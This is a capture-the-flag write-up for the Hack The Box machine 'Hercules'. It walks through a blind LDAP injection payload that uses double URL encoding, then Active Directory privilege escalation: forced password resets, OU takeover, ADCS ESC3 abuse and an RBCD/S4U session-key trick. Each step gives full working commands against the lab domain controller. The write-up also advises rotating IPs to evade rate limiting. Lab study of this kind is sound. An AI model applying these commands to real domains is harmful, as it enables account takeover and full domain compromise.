Hercules WriteUp

Table of Contents

Hercules WriteUp

Hercules is an ⬛ Insane difficulty Hack The Box machine. The entry point is a blind LDAP injection in the corporate SSO portal that, through double URL encoding, bypasses the regex filter and lets us extract the description fields of domain users to recover a rotating temporary password. From there the chain is pure Active Directory: a helpdesk group with ForceChangePassword over a WinRM-enabled account (user flag), an OU takeover that enables a disabled account, an ADCS ESC3 abuse with a restricted enrollment officer, and a pre-configured RBCD on the IIS machine account that, with the session-key trick and S4U, hands over the domain Administrator.

🧭 Note. This is the current (reworked) version of the machine, verified live. The chain differs from older writeups floating around the internet (which used Shadow Credentials, different ADCS templates and classic constrained delegation).

πŸ—ΊοΈ Attack chain

Recon (single DC: 53,88,389,443,445,5986...)
      β”‚
      β–Ό
SSO portal (443) β†’ blind LDAP injection (double URL encoding) β†’ domain credentials
      β”‚
      β–Ό
stephen.m ∈ Security Helpdesk ── ForceChangePassword ──► auditor
      β”‚                                                     β”‚
      β”‚                                                     β–Ό
      β”‚                                          WinRM (evil-winrm -S) β†’ user.txt
      β–Ό
auditor ∈ Forest Management β†’ GenericAll over OU=Forest Migration (OU takeover)
      β”‚
      β–Ό
enables + resets fernando.r (∈ Smartcard Operators)
      β”‚
      β–Ό
ADCS ESC3: Enrollment Agent cert β†’ cert on-behalf-of ashley.b (restricted officer)
      β”‚
      β–Ό
pre-configured RBCD (DC$ trusts IIS_Webserver$) + S4U (u2u/session key) β†’ Administrator β†’ root.txt

πŸ” Reconnaissance

A single host, the domain controller, which also serves the web portal.

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports hercules.htb
sudo nmap -sCV -p$(grep -oP '\d+/open' ports.gnmap | cut -d/ -f1 | paste -sd,) -oA scan hercules.htb
PortServiceDetail
53DNSActive Directory
88, 464KerberosKDC
389, 636, 3268, 3269LDAP/LDAPShercules.htb
443HTTPSASP.NET SSO portal (HadesWeb)
445SMB
5986WinRMHTTPS only (5985 is filtered)
9389ADWS

Two details drive the rest of the path: the ASP.NET portal on 443 (Forms Authentication, the __RequestVerificationToken is visible) and the fact that WinRM only listens on 5986 (SSL), so later we use evil-winrm -S with Kerberos.

/etc/hosts and krb5.conf pointing at the DC:

echo "10.129.242.196 hercules.htb dc.hercules.htb" | sudo tee -a /etc/hosts
[libdefaults]
    default_realm = HERCULES.HTB
[realms]
    HERCULES.HTB = { kdc = dc.hercules.htb }

πŸ’‰ Initial access: blind LDAP injection on the SSO

The https://hercules.htb/Login login validates credentials against LDAP. The username field goes through a regex filter that blocks the usual LDAP metacharacters (* ( ) = | & \) but does not filter %, and the server decodes the body twice before building the filter. With double URL encoding we reintroduce the forbidden characters:

CharacterURLDouble URL
*%2A%252A
(%28%2528
)%29%2529
=%3D%253D

The portal returns a different message depending on whether the LDAP filter finds records ("Login attempt failed" vs "Invalid login attempt"), which gives a boolean oracle to extract each user’s description character by character, closing the query and injecting a condition on description:

user%252A%2529%2528description%253D<prefix>%252A

Extracting the descriptions reveals a rotating temporary password in a domain user’s description field. With it and the user list (enumerated with kerbrute), a password spray yields a valid low-privilege domain user.

⚠️ The portal applies per-IP rate limiting (there is a RateLimitAttribute in the app), so space out the requests or rotate IPs during extraction.

🩸 From low privilege to auditor: ForceChangePassword

With a foothold in the domain, bloodhound-python makes the map clear. The user stephen.m is a member of Security Helpdesk, and that group has ForceChangePassword over several accounts, including auditor:

export KRB5CCNAME=stephen.m.ccache
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u stephen.m -k set password auditor 'Zeus#Olympus2026!'
# [+] Password changed successfully!

πŸ’‘ The password policy rejects a new password that contains the account name (auditor), so pick another one that meets complexity.

auditor belongs to Remote Management Users, so we already have WinRM. Since the service is only on 5986:

impacket-getTGT 'hercules.htb/auditor:Zeus#Olympus2026!' -dc-ip 10.129.242.196
export KRB5CCNAME=auditor.ccache
evil-winrm -i dc.hercules.htb -r HERCULES.HTB -S

🚩 User flag

type C:\Users\auditor\Desktop\user.txt

πŸ‘‘ Path to Domain Admin

auditor β†’ OU takeover of Forest Migration

auditor is a member of Forest Management, a group that has GenericAll over the Forest Migration OU. Inside that OU lives fernando.r, a disabled account that is also a member of Smartcard Operators (a group with enrollment rights on the ADCS Enrollment Agent template).

We take control of the OU by adding an inheritable GenericAll ACE and, right away, enable and reset fernando.r:

export KRB5CCNAME=auditor.ccache
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k remove uac fernando.r -f ACCOUNTDISABLE
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k set password fernando.r 'Fern#Pwn2026!'

⚠️ There is a cleanup task on the machine that reverts the OU takeover after ~25 seconds. Chain the add genericAll with enabling fernando.r with no pauses.

ADCS ESC3 with a restricted officer

fernando.r (via Smartcard Operators) can request the Enrollment Agent template against the CA-HERCULES CA. The RPC request times out, so DCOM is used:

impacket-getTGT 'hercules.htb/fernando.r:Fern#Pwn2026!' -dc-ip 10.129.242.196
export KRB5CCNAME=fernando.r.ccache
certipy-ad req -u fernando.r@hercules.htb -k -no-pass -dc-host dc.hercules.htb \
  -ca CA-HERCULES -template EnrollmentAgent -dc-ip 10.129.242.196 -dcom

With the agent certificate we request another one on behalf of another user. The CA has an enrollment officer restriction: impersonating Administrator is denied (0x80094009 CERTSRV_E_RESTRICTEDOFFICER), but ashley.b is allowed:

certipy-ad req -u fernando.r@hercules.htb -k -no-pass -dc-host dc.hercules.htb \
  -ca CA-HERCULES -template User -on-behalf-of 'HERCULES\ashley.b' \
  -pfx fernando.r.pfx -dc-ip 10.129.242.196 -dcom
certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.129.242.196

PKINIT gives us ashley.b’s TGT and NT hash.

The trigger: ashley.b opens the IIS_Administrator window

The IIS_Administrator account (also in the Forest Migration OU) is the one that can reset the IIS machine account, but it is disabled and protected (adminCount=1), so the OU-inherited ACE does not apply and we cannot touch it. The key is on ashley.b’s desktop, in aCleanup.ps1:

Start-ScheduledTask -TaskName "Password Cleanup"

ashley.b is a member of Remote Management Users, so we log in over WinRM and fire that task. The “Password Cleanup” task runs as SYSTEM and clears the adminCount of IIS_Administrator, opening a brief window in which our OU takeover ACE does apply:

impacket-getTGT 'hercules.htb/ashley.b' -hashes :<nt_ashley>   # hash comes from the ESC3 PKINIT
KRB5CCNAME=ashley.b.ccache evil-winrm -i dc.hercules.htb -r HERCULES.HTB -S
# PS> Start-ScheduledTask -TaskName "Password Cleanup"

Enable IIS_Administrator and reset iis_webserver$

Right after the trigger, and re-taking the OU (the cleanup task reverts the ACE after ~25 s), we enable and reset IIS_Administrator, and with it we reset the IIS_Webserver$ machine account:

export KRB5CCNAME=auditor.ccache
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k remove uac IIS_Administrator -f ACCOUNTDISABLE
bloodyad --host dc.hercules.htb -d HERCULES.HTB -u auditor -k set password IIS_Administrator 'Passw0rd@123'

impacket-getTGT 'hercules.htb/IIS_Administrator:Passw0rd@123' -dc-ip 10.129.242.196
KRB5CCNAME=IIS_Administrator.ccache bloodyad --host dc.hercules.htb -d HERCULES.HTB -u IIS_Administrator -k set password 'IIS_Webserver$' 'Passw0rd@123'

Pre-configured RBCD + session-key + U2U S4U β†’ Administrator

The domain controller has a pre-configured RBCD trusting IIS_Webserver$ (DC$ with msDS-AllowedToActOnBehalfOfOtherIdentity pointing at its SID). Since IIS_Webserver$ has no SPN, S4U needs the session key trick: request a TGT, match the NT hash to that TGT’s session key with changepasswd -newhashes (not set password, which syncs all keys), and run S4U2self+U2U β†’ S4U2proxy:

NT=14d0fcda7ad363097760391f302da68d              # NT of 'Passw0rd@123'
impacket-getTGT 'hercules.htb/IIS_Webserver$' -hashes :$NT -dc-ip 10.129.242.196
SK=$(python3 -c "from impacket.krb5.ccache import CCache;print(CCache.loadFile('IIS_Webserver\$.ccache').credentials[0]['key']['keyvalue'].hex())")
KRB5CCNAME='IIS_Webserver$.ccache' impacket-changepasswd 'hercules.htb/IIS_Webserver$@dc.hercules.htb' -newhashes :$SK -hashes :$NT -k -dc-ip 10.129.242.196
KRB5CCNAME='IIS_Webserver$.ccache' impacket-getST -spn 'cifs/dc.hercules.htb' -impersonate administrator 'hercules.htb/IIS_Webserver$' -k -no-pass -u2u -dc-ip 10.129.242.196

We get a TGS as Administrator for cifs/dc.hercules.htb, which gives execution as SYSTEM on the DC.

🏴 Root flag

The root flag is in a non-default location, C:\Users\Admin\Desktop (not on Administrator’s desktop). With the Administrator ticket, an atexec (or psexec) reads it:

KRB5CCNAME='administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache' \
  impacket-atexec -k -no-pass dc.hercules.htb 'cmd /c type C:\Users\Admin\Desktop\root.txt'

πŸ“ Summary

#PhaseTechniqueResult
1Reconnmapsingle DC, SSO portal on 443, WinRM only on 5986
2Initial accessblind LDAP injection (double URL encoding)domain credentials
3LateralSecurity Helpdesk β†’ ForceChangePassword β†’ auditorWinRM + user.txt
4PrivescForest Management β†’ OU takeover of Forest Migrationcontrol of fernando.r
5ADCSESC3 (Enrollment Agent, restricted officer)cert + hash of ashley.b
6DApre-configured RBCD on IIS_Webserver$ + S4U (u2u)Administrator β†’ root.txt

🧠 What Hercules teaches

  • An injection in an LDAP login leaks the whole directory. The server’s double decoding turns a regex filter into wet paper.
  • ForceChangePassword is as good as a password. A poorly scoped helpdesk group over a WinRM account is the difference between nothing and user.
  • OU control is inherited by its children. GenericAll over the OU lets you enable disabled accounts and reset them, even if the machine tries to clean it up with a scheduled task.
  • ESC3 does not always reach Administrator directly. A restricted enrollment officer forces you to impersonate the allowed account and keep pulling the thread.
  • The pre-configured RBCD on an IIS machine account is the final pivot, and the session-key trick with -u2u is what makes S4U work when the account has no SPN.